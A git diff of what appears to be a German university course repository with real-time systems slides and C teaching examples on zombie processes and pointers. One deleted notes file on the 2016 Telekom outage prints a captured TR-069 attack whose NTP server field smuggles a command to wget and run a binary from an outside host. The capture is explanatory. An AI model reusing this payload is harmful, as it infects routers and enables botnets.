- Programme kommunizieren per TCP/IP über \newterm{Events\/}
- (Ereignisse und Zustände).
- \item
- C++-Programme reagieren auf Events\\
- und Zustandsänderungen\\
- über \newterm{Callbacks\/} (virtuelle Methoden).
- \item
- speziell entwickelte\\
- Programmiersprache: \lstinline{logic}
- \item<7->
- Schneller als TAO/ACE, aber (noch) keine harte Echtzeit
- \end{itemize}
- \vspace*{-2cm}
- \end{onlyenv}
- \end{minipage}
-
- \bigskip
-
- \begin{onlyenv}<3>
- Wikipedia:
- \begin{quote}
- The ACE ORB (TAO) ist eine freie, Open-Source
- Standard-kompatible echtzeitfähige Implementierung von CORBA
- in C++ basierend auf dem ACE-Framework. TAO bietet eine
- skalierbare Dienstgüte (Quality of Service QoS) für die
- gesamte Kommunikationsstrecke (end-to-end).
-
- Im Unterschied zu konventionellen Implementierungen von CORBA
- wendet TAO Softwarepraktiken und Muster an, um die
- Automatisierung von hochperformanten Echtzeit QoS für
- verteilte Anwendungen zu vereinfachen.
- \end{quote}
- \vspace*{-1cm}
- \end{onlyenv}
- \begin{onlyenv}<4>
- Praxis:
- \begin{itemize}
- \item
- typische Antwortzeit: 1 Sekunde
- \item
- unzuverlässig
- \item
- neue Events erfordern Neustart der grundlegenden Dienste\\
- \textarrow\ Verzögerungen, insbesondere im Team
- \end{itemize}
- \end{onlyenv}
- \begin{onlyenv}<6->
- \begin{lstlisting}[gobble=6]
- when i_gui_ns do
- f_ns = !f_ns;
- \end{lstlisting}
- \medskip
- \begin{lstlisting}[gobble=6]
- when i_coc_sign_ns_on_sw do
- f_ns = TriggerValue;
- \end{lstlisting}
- \medskip
- \begin{lstlisting}[gobble=6]
- when f_ns do
- i_sound_note_on = Note (SAMPLER_CABIN, SND_CHIME_LO, 0.3);
- \end{lstlisting}
- \medskip
- \begin{lstlisting}[gobble=6]
- o_ns_light_1, o_ns_light_2, o_ns_light_3, o_ns_light_4,
- o_ns_light_5, o_ns_light_6, o_ns_light_7, o_ns_light_8 = f_ns;
- \end{lstlisting}
- \end{onlyenv}
- \vspace{-0.5cm}
-
-\end{frame}
-
-\subsection{AUTOSAR}
-
-\begin{frame}
- \showsection
- \showsubsection
-
- \begin{minipage}[t]{5cm}
- Anforderungen:
- \begin{itemize}
- \item
- Aktoren und Sensoren\\
- sollen gemäß vorgegebe-\\
- nen Regeln interagieren.
- \item
- weiche und harte Echtzeit
- \item[\textbf{?}]
- hohe Anpaßbarkeit
- \item[\textbf{!\hspace*{1pt}}]<2->
- Verbergen von Details\\
- vor der Konkurrenz
- \end{itemize}
- \end{minipage}\hfill
- \begin{minipage}[t]{7.25cm}
- \only<1-2>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{BMW_F01_front_20081213.jpg}}}
- \begin{onlyenv}<3->
- Lösung: AUTOSAR
- \begin{itemize}
- \item
- Programme kommunizieren per\\
- \newterm{Virtual Functional Bus (VFB)\/}\\
- über Ereignisse und Zustände.
- \item
- Programme laufen oberhalb eines\\
- \newterm{Run Time Environment (RTE)}
- \item
- Standardisierte \newterm{Application Program-\\ming Interfaces (API)}
- \end{itemize}
- \vspace*{-1cm}
- \end{onlyenv}
- \end{minipage}
-
- \bigskip
-
- \begin{onlyenv}<4->
- \begin{itemize}
- \item
- Topologie der \newterm{Electronic Control Units (ECU)\/}\only<5->{: XML-Datei}
- \item
- Systemkonfiguration\only<5->{: XML-Datei}
- \item<6->
- graphische Programmierwerkzeuge:\\
- UML-Diagramme, MATLAB/Simulink
- \item<6->
- Code wird generiert\only<7->{\\\textarrow\
- \only<8->{(hoffentlich)} weniger fehleranfällig,
- \only<8->{(hoffentlich)} trotzdem effizient}
- \end{itemize}
- \end{onlyenv}
- \vspace{-0.5cm}
-
-\end{frame}
-
-\subsection{Wietzke-Tran-Framework}
-
-\begin{frame}
- \showsection
- \showsubsection
-
- \begin{minipage}[t]{5cm}
- Anforderungen:
- \begin{itemize}
- \item
- Aktoren und Sensoren\\
- sollen gemäß vorgegebe-\\
- nen Regeln interagieren.
- \item
- weiche und harte Echtzeit
- \item
- hohe Anpaßbarkeit
- \item[\textbf{!\hspace*{1pt}}]<2->
- unterstützt auch\\\newterm{Media Oriented\\Systems Transport Bus (MOST-Bus)}
- \end{itemize}
- \end{minipage}\hfill
- \begin{minipage}[t]{7.25cm}
- \only<1-2>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{BMW_F01_front_20081213.jpg}}}
- \begin{onlyenv}<3>
- \addtolength{\leftskip}{1em}
-
- \sectionnonumber{Literaturempfehlung}
- \subsectionnonumber{Automotive Embedded Systeme}
- \setcounter{subsection}{3}
-
- \showsectionnonumber
-
- Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
- Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-
- \medskip
-
- \showsubsectionnonumber
-
- \vspace{-\medskipamount}
-
- Springer-Verlag, Berlin, Heidelberg 2005
-
- \bigskip
-
- Lizenz: proprietär
-
- \medskip
-
- (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-
- \end{onlyenv}
- \end{minipage}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \showsectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Einführung}
- \begin{itemize}
- \item[1.1] Was ist Echtzeit?
- \item[1.2] Echtzeitprogrammierung
- \end{itemize}
- \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
- \begin{itemize}
- \item[2.1] Multitasking
- \item[2.2] Ressourcen
- \item[2.3] Prioritäten
- \end{itemize}
- \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
- \begin{itemize}
- \item[3.1] \only<1>{\color{medgreen}}Definition
- \item[3.2] Beispiele
- \end{itemize}
- \item[\textbf{4}] \textbf{Frameworks}
- \begin{itemize}
- \item[\textbf{4.1}] \only<1>{\color{medgreen}}TFC Event Channel
- \item[\textbf{4.2}] AUTOSAR
- \item[\textbf{4.3}] Wietzke-Tran-Framework
- \end{itemize}
- \end{itemize}
- \pause
-
-\end{frame}
-
-\end{document}
diff --git a/20161124/tafelbild-20161124-1.jpg b/20161124/tafelbild-20161124-1.jpg
deleted file mode 100644
index 20bdf759ac826ab66266755e927afa606843180f..0000000000000000000000000000000000000000
Binary files a/20161124/tafelbild-20161124-1.jpg and /dev/null differ
diff --git a/20161124/tafelbild-20161124-2.jpg b/20161124/tafelbild-20161124-2.jpg
deleted file mode 100644
index 74eeb66218af4972837682ba4eab43c2210ff430..0000000000000000000000000000000000000000
Binary files a/20161124/tafelbild-20161124-2.jpg and /dev/null differ
diff --git a/20161124/tafelbild-20161124-3.jpg b/20161124/tafelbild-20161124-3.jpg
deleted file mode 100644
index e3f8716f95c275349dac48e6c0bc177a5ddfbdac..0000000000000000000000000000000000000000
Binary files a/20161124/tafelbild-20161124-3.jpg and /dev/null differ
diff --git a/20161201/make-zombies-1.c b/20161201/make-zombies-1.c
deleted file mode 100644
index 3626861d638c8ad6dc8c5c0831b9f5190e20a4dc..0000000000000000000000000000000000000000
--- a/20161201/make-zombies-1.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void){
- pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
- int i; // Laufvariable
-
- for (i = 0; i < 10; ++i) {
- // Der Vaterprozess erzeugt nun einen Kindprozess,
- // welcher unabh�ngig vom Vaterprozess mit der
- // erneuten Ausf�hrung des Programms beginnt.
- // Ein Kindprozess erzeugt keinen Fork von sich selbst.
- pids[i] = fork();
- if (pids[i] == 0) {
- // dann befinden wir uns in einem der 10 Kindprozesse
- // Der erste Kindprozess wartet 10 Sekunden und jeder
- // weitere Kindprozess wartet 1 Sekunde k�rzer als der
- // vorige.
- printf ("%d BRAINS! ", i);
- sleep(10-i);
- exit(0); // Kindprozess erfolgreich beenden
- }
- }
-
-//
- // hier kommt nur der Vaterprozess vorbei
- for (i = 0; i < 10; ++i){
- // Der Vaterprozess wartet nun, bis der Reihe nach jeder
- // seiner 10 Kindprozesse beendet ist. Leider wird auf das
- // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
- // die anderen Kinder l�ngst erfolgreich beendet wurden,
- // blockiert das erste Kind eine Bereinigung der Prozesstabelle
- waitpid(pids[i], NULL, 0);
- }
-//
-
-// while (1);
- return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161201/make-zombies-2.c b/20161201/make-zombies-2.c
deleted file mode 100644
index d43b17e278e3df5c2373600753d6ac53d89f7af7..0000000000000000000000000000000000000000
--- a/20161201/make-zombies-2.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void){
- pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
- int i; // Laufvariable
-
- for (i = 0; i < 10; ++i) {
- // Der Vaterprozess erzeugt nun einen Kindprozess,
- // welcher unabh�ngig vom Vaterprozess mit der
- // erneuten Ausf�hrung des Programms beginnt.
- // Ein Kindprozess erzeugt keinen Fork von sich selbst.
- pids[i] = fork();
- if (pids[i] == 0) {
- // dann befinden wir uns in einem der 10 Kindprozesse
- // Der erste Kindprozess wartet 10 Sekunden und jeder
- // weitere Kindprozess wartet 1 Sekunde k�rzer als der
- // vorige.
- printf ("%d BRAINS! ", i);
- sleep(10-i);
- exit(0); // Kindprozess erfolgreich beenden
- }
- }
-
-//
-// // hier kommt nur der Vaterprozess vorbei
-// for (i = 0; i < 10; ++i){
-// // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-// // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-// // die anderen Kinder l�ngst erfolgreich beendet wurden,
-// // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-// waitpid(pids[i], NULL, 0);
-// }
-//
-
-// while (1);
- return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161201/make-zombies-3.c b/20161201/make-zombies-3.c
deleted file mode 100644
index 82d671c075e1db7879e8b040f12a8543c0c7436a..0000000000000000000000000000000000000000
--- a/20161201/make-zombies-3.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void){
- pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
- int i; // Laufvariable
-
- for (i = 0; i < 10; ++i) {
- // Der Vaterprozess erzeugt nun einen Kindprozess,
- // welcher unabh�ngig vom Vaterprozess mit der
- // erneuten Ausf�hrung des Programms beginnt.
- // Ein Kindprozess erzeugt keinen Fork von sich selbst.
- pids[i] = fork();
- if (pids[i] == 0) {
- // dann befinden wir uns in einem der 10 Kindprozesse
- // Der erste Kindprozess wartet 10 Sekunden und jeder
- // weitere Kindprozess wartet 1 Sekunde k�rzer als der
- // vorige.
- printf ("%d BRAINS! ", i);
- sleep(10-i);
- exit(0); // Kindprozess erfolgreich beenden
- }
- }
-
-//
-// // hier kommt nur der Vaterprozess vorbei
-// for (i = 0; i < 10; ++i){
-// // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-// // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-// // die anderen Kinder l�ngst erfolgreich beendet wurden,
-// // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-// waitpid(pids[i], NULL, 0);
-// }
-//
-
- while (1);
-// return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161201/photo-20161201-150010.jpg b/20161201/photo-20161201-150010.jpg
deleted file mode 100644
index dfe8549dd590b662e7386bd09adb4f5edcd252f7..0000000000000000000000000000000000000000
Binary files a/20161201/photo-20161201-150010.jpg and /dev/null differ
diff --git a/20161208/hp-20161208.txt b/20161208/hp-20161208.txt
deleted file mode 100644
index 67b6ee887cd3eabb9107edf772e9ea75e46c4e38..0000000000000000000000000000000000000000
--- a/20161208/hp-20161208.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-Großstörung bei der Telekom, 27.11.2016
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Berichterstattung bei Heise Online:
- - https://heise.de/-3505820 - Großstörung im Telekom-Netz
- - https://heise.de/-3506044 - Die Telekom prüft Hinweise auf Hackerangriff
- - https://heise.de/-3506556 - BSI warnt vor weltweitem Hackerangriff auf DSL-Modems
- - https://heise.de/-3507088 - Angreifer nutzten Lücke und Botnetz-Code
- - https://heise.de/-3520212 - Großstörung bei der Telekom: Was wirklich geschah
-
-Informationen zu dem TRE-069-Exploit:
- - https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759
- - https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
-
-Aktiver Angriff auf den TRE-069-Port, aufgefangen mit nc -l -p 7547
-
- <NewNTPServer1>
- `cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`
- </NewNTPServer1>
-
-Selbst durchgeführter Test: nc -l -p 7547
-
- nc: listening on :: 7547 ...
- nc: listening on 0.0.0.0 7547 ...
- nc: connect to 46.4.31.171 7547 from
- node-jcm.pool-125-27.dynamic.totbb.net (125.27.97.246) 44932 [44932]
- POST /UD/act?1 HTTP/1.1
- Host: 127.0.0.1:7547
- User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
- SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
- Content-Type: text/xml
- Content-Length: 519
-
- <?xml version="1.0"?><SOAP-ENV:Envelope
- xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
- SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- <SOAP-ENV:Body> <u:SetNTPServers
- xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd
- /var/tmp;cd /tmp;wget http://binpt.pw/a;sh a`</NewNTPServer1>
- <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3>
- <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5>
- </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>
diff --git a/20161208/photo-20161208-144033.jpg b/20161208/photo-20161208-144033.jpg
deleted file mode 100644
index d4c57a2ab737386d23a0fb943aad94ad456242e8..0000000000000000000000000000000000000000
Binary files a/20161208/photo-20161208-144033.jpg and /dev/null differ
diff --git a/20161215/function-call.c b/20161215/function-call.c
deleted file mode 100644
index b2db5145e720b39de50d37e98365b02f1bb25ca2..0000000000000000000000000000000000000000
--- a/20161215/function-call.c
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-
-void hello (void)
-{
- printf ("Hello, world!\n");
-}
-
-int main (void)
-{
- hello ();
- return 0;
-}
diff --git a/20161215/function-call.s b/20161215/function-call.s
deleted file mode 100644
index 787fe5f16ced6b27c970af8ed29faf6a417e58f0..0000000000000000000000000000000000000000
--- a/20161215/function-call.s
+++ /dev/null
@@ -1,37 +0,0 @@
- .file "function-call.c"
- .section .rodata.str1.1,"aMS",@progbits,1
-.LC0:
- .string "Hello, world!"
- .text
- .globl hello
- .type hello, @function
-hello:
-.LFB11:
- .cfi_startproc
- subq $8, %rsp
- .cfi_def_cfa_offset 16
- movl $.LC0, %edi
- call puts
- addq $8, %rsp
- .cfi_def_cfa_offset 8
- ret
- .cfi_endproc
-.LFE11:
- .size hello, .-hello
- .globl main
- .type main, @function
-main:
-.LFB12:
- .cfi_startproc
- subq $8, %rsp
- .cfi_def_cfa_offset 16
- call hello
- movl $0, %eax
- addq $8, %rsp
- .cfi_def_cfa_offset 8
- ret
- .cfi_endproc
-.LFE12:
- .size main, .-main
- .ident "GCC: (Debian 4.9.2-10) 4.9.2"
- .section .note.GNU-stack,"",@progbits
diff --git a/20161215/photo-20161215-182130.jpg b/20161215/photo-20161215-182130.jpg
deleted file mode 100644
index 9be08251819e90f134d99e97bd4657e6e7eb25fd..0000000000000000000000000000000000000000
Binary files a/20161215/photo-20161215-182130.jpg and /dev/null differ
diff --git a/20161215/photo-20161215-182223.jpg b/20161215/photo-20161215-182223.jpg
deleted file mode 100644
index c4d352bd11c79ba35b0e60caeb5abb6d42222e37..0000000000000000000000000000000000000000
Binary files a/20161215/photo-20161215-182223.jpg and /dev/null differ
diff --git a/20170413/arrays-pointers-000.c b/20170413/arrays-pointers-000.c
new file mode 100644
index 0000000000000000000000000000000000000000..cf1cfab42b84885644c1f6ae4f4411c7ac427277
--- /dev/null
+++ b/20170413/arrays-pointers-000.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+char a[] = "Test";
+char *p = "Test";
+
+int main (void)
+{
+ printf ("%s\n", a);
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-001.c b/20170413/arrays-pointers-001.c
new file mode 100644
index 0000000000000000000000000000000000000000..c6fefcc7c60f814c46b5ecb6c25cb39780f38822
--- /dev/null
+++ b/20170413/arrays-pointers-001.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-002.c b/20170413/arrays-pointers-002.c
new file mode 100644
index 0000000000000000000000000000000000000000..2592b4153b94c80771b2b01018153742b7320abd
--- /dev/null
+++ b/20170413/arrays-pointers-002.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ *a++;
+ printf ("%c\n", **p);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-003.c b/20170413/arrays-pointers-003.c
new file mode 100644
index 0000000000000000000000000000000000000000..20b7b84868fe938cae0fdefac87c2529400d7f5b
--- /dev/null
+++ b/20170413/arrays-pointers-003.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ (*a)++;
+ printf ("%c\n", **p);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-004.c b/20170413/arrays-pointers-004.c
new file mode 100644
index 0000000000000000000000000000000000000000..892cbea5c1e3fec7b41112d9473260765a4adf98
--- /dev/null
+++ b/20170413/arrays-pointers-004.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ (*a)++;
+ printf ("%c\n", **p);
+ (*a)++;
+ printf ("%c\n", **p);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-005.c b/20170413/arrays-pointers-005.c
new file mode 100644
index 0000000000000000000000000000000000000000..61b3e9c7d85fc7d0ec55a011d0e07ac3c3e6b13a
--- /dev/null
+++ b/20170413/arrays-pointers-005.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ (*a)++;
+ printf ("%c\n", *a);
+ (*a)++;
+ printf ("%c\n", *a);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-006.c b/20170413/arrays-pointers-006.c
new file mode 100644
index 0000000000000000000000000000000000000000..d34880a5d4034e45e175caace61f470d0ed65d10
--- /dev/null
+++ b/20170413/arrays-pointers-006.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ (*a)++;
+ printf ("%c\n", **a);
+ (*a)++;
+ printf ("%c\n", **a);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-007.c b/20170413/arrays-pointers-007.c
new file mode 100644
index 0000000000000000000000000000000000000000..76aeb36363cfde3d60b2ee60e4a0ac8ff3864684
--- /dev/null
+++ b/20170413/arrays-pointers-007.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ (*a) += 5;
+ printf ("%c\n", **a);
+ (*a)++;
+ printf ("%c\n", **a);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-008.c b/20170413/arrays-pointers-008.c
new file mode 100644
index 0000000000000000000000000000000000000000..2d1c07e80fb05f3d30ea6f13bd56297299b5826a
--- /dev/null
+++ b/20170413/arrays-pointers-008.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", **p);
+ p++;
+ printf ("%c\n", **p);
+ char *q = *p;
+ printf ("%c\n", *q);
+ q++;
+ printf ("%c\n", *q);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-009.c b/20170413/arrays-pointers-009.c
new file mode 100644
index 0000000000000000000000000000000000000000..e94de275c1732b0e169d4b050f0d59e71b6ddefa
--- /dev/null
+++ b/20170413/arrays-pointers-009.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+ printf ("%c\n", *(*(p + 2) + 2));
+ printf ("%c\n", *(p[2] + 2));
+ printf ("%c\n", p[2][2]);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-01.c b/20170413/arrays-pointers-01.c
new file mode 100644
index 0000000000000000000000000000000000000000..e7324ea51274c3f235e032e699928b26f390cab8
--- /dev/null
+++ b/20170413/arrays-pointers-01.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%s\n", p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-02.c b/20170413/arrays-pointers-02.c
new file mode 100644
index 0000000000000000000000000000000000000000..22bba7be43cfbbf6ee580e92bc58340b9566163c
--- /dev/null
+++ b/20170413/arrays-pointers-02.c
@@ -0,0 +1,15 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ {
+ char *q = p++;
+ printf ("%s\n", q);
+ }
+ return 0;
+}
diff --git a/20170413/arrays-pointers-03.c b/20170413/arrays-pointers-03.c
new file mode 100644
index 0000000000000000000000000000000000000000..14b503a4656a3979790232b133ff0bfcee937b6e
--- /dev/null
+++ b/20170413/arrays-pointers-03.c
@@ -0,0 +1,15 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ {
+ char *q = (char *) p++;
+ printf ("%s\n", q);
+ }
+ return 0;
+}
diff --git a/20170413/arrays-pointers-04.c b/20170413/arrays-pointers-04.c
new file mode 100644
index 0000000000000000000000000000000000000000..7c64dac5f1411c3f7abeaea3fddfc17cf16f1c4e
--- /dev/null
+++ b/20170413/arrays-pointers-04.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ {
+ for (int j = 0; *p[j]; j++)
+ printf ("%c", *p[j]);
+ printf ("\n");
+ p++;
+ }
+ return 0;
+}
diff --git a/20170413/arrays-pointers-05.c b/20170413/arrays-pointers-05.c
new file mode 100644
index 0000000000000000000000000000000000000000..925614681b2a4c2194b2831cdbff0e62e2aa9c27
--- /dev/null
+++ b/20170413/arrays-pointers-05.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ {
+ for (int j = 0; (*p)[j]; j++)
+ printf ("%c", (*p)[j]);
+ printf ("\n");
+ p++;
+ }
+ return 0;
+}
diff --git a/20170413/arrays-pointers-06.c b/20170413/arrays-pointers-06.c
new file mode 100644
index 0000000000000000000000000000000000000000..15a73a318fca50d5959433795cb0560a32997bd6
--- /dev/null
+++ b/20170413/arrays-pointers-06.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%s\n", (*p++)[0]);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-07.c b/20170413/arrays-pointers-07.c
new file mode 100644
index 0000000000000000000000000000000000000000..742c1be1baf3783edc88b02495c85a608f9f69fb
--- /dev/null
+++ b/20170413/arrays-pointers-07.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%s\n", &((*p++)[0]));
+ return 0;
+}
diff --git a/20170413/arrays-pointers-08.c b/20170413/arrays-pointers-08.c
new file mode 100644
index 0000000000000000000000000000000000000000..22065d76a50044ceafe31b008fe23920a965b916
--- /dev/null
+++ b/20170413/arrays-pointers-08.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%s\n", (*p++));
+ return 0;
+}
diff --git a/20170413/arrays-pointers-09.c b/20170413/arrays-pointers-09.c
new file mode 100644
index 0000000000000000000000000000000000000000..812a3ab2ab84c124a54a1fee356aafc568fe6e1c
--- /dev/null
+++ b/20170413/arrays-pointers-09.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%s\n", *p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-10.c b/20170413/arrays-pointers-10.c
new file mode 100644
index 0000000000000000000000000000000000000000..58fc72d9b074a25fab7b17dfec04656276c1ab1e
--- /dev/null
+++ b/20170413/arrays-pointers-10.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%s\n", **p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-11.c b/20170413/arrays-pointers-11.c
new file mode 100644
index 0000000000000000000000000000000000000000..18a273182a1aebd05deaff9db16c037fbfff6af8
--- /dev/null
+++ b/20170413/arrays-pointers-11.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+ for (int i = 0; i < 4; i++)
+ printf ("%c\n", **p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-12.c b/20170413/arrays-pointers-12.c
new file mode 100644
index 0000000000000000000000000000000000000000..d3273342d5abab32597f3e63905fd83c81af8c6d
--- /dev/null
+++ b/20170413/arrays-pointers-12.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", NULL };
+string5 *p = a;
+
+int main (void)
+{
+ while (*p)
+ printf ("%s\n", *p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-13.c b/20170413/arrays-pointers-13.c
new file mode 100644
index 0000000000000000000000000000000000000000..16ec2f1e12d2632edc95f07129f55b6c64600da4
--- /dev/null
+++ b/20170413/arrays-pointers-13.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", "" };
+string5 *p = a;
+
+int main (void)
+{
+ while (**p)
+ printf ("%s\n", *p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-14.c b/20170413/arrays-pointers-14.c
new file mode 100644
index 0000000000000000000000000000000000000000..3a25af0c496ad2049807d8d5e26430f269de500e
--- /dev/null
+++ b/20170413/arrays-pointers-14.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", 0 };
+string5 *p = a;
+
+int main (void)
+{
+ while (**p)
+ printf ("%s\n", *p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-15.c b/20170413/arrays-pointers-15.c
new file mode 100644
index 0000000000000000000000000000000000000000..eb58cb82e85819fc63e0e3867a57acb4c3edc181
--- /dev/null
+++ b/20170413/arrays-pointers-15.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", { 0 } };
+string5 *p = a;
+
+int main (void)
+{
+ while (**p)
+ printf ("%s\n", *p++);
+ return 0;
+}
